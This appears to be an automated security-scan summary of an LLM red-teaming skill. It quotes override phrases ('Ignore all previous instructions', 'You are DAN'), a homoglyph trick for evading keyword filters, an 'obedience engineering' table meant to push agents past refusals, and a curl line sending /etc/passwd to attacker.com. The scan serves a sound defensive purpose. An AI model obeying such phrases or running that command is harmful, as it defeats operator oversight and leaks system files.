The Agent Skills Directory

[PROMPT_INJECTION]: The skill instructions and methodology files contain multiple explicit prompt injection payloads designed to override system instructions and bypass safety filters, including 'Ignore all previous instructions', 'You are DAN (Do Anything Now)', and 'SYSTEM OVERRIDE'.
[PROMPT_INJECTION]: The file references/agent-obedience-engineering.md contains aggressive instructional directives (e.g., 'CRITICAL', 'NOW', 'MUST', 'NO EXCUSE') and an 'Excuse Rebuttal Table' specifically designed to override an agent's internal reasoning and force it to execute offensive actions it would otherwise refuse.
[OBFUSCATION]: The skill provides examples of obfuscation techniques used to evade security monitoring, including Base64 encoding and homoglyph substitution (e.g., using Cyrillic 'о' and 'а' characters within the Latin string 'Ignоre аll previоus instructions' to bypass keyword matching).
[INDIRECT_PROMPT_INJECTION]: The skill documents methodologies for exploiting indirect prompt injection vulnerabilities where malicious instructions are hidden in processed data.
Ingestion points: Identifies attack surfaces in RAG knowledge bases, PDF documents, and external tool outputs (e.g., SKILL.md, references/agent-security-testing.md).
Boundary markers: Notes the absence of delimiters or 'ignore' warnings as a key vulnerability to be tested.
Capability inventory: Lists exploitable capabilities across the skill chain, including send_email, query_db, and shell command execution (exec).
Sanitization: Identifies the lack of output sanitization for downstream systems (XSS, SQLi, SSRF) as a primary exploit target.
[REMOTE_CODE_EXECUTION]: The skill workflow instructs the user to test for RCE vulnerabilities via tool parameters (e.g., using curl attacker.com/$(cat /etc/passwd)) and utilizes remote code analysis tools.
Fetches the PyRIT orchestration tool from Microsoft's official repository.
Installs the promptfoo security testing tool for AI-generated attack simulation.
Downloads the garak vulnerability scanner from PyPI.
[COMMAND_EXECUTION]: The skill guides the user to perform active exploitation using shell commands and automated security scanners against target AI systems.

llm-security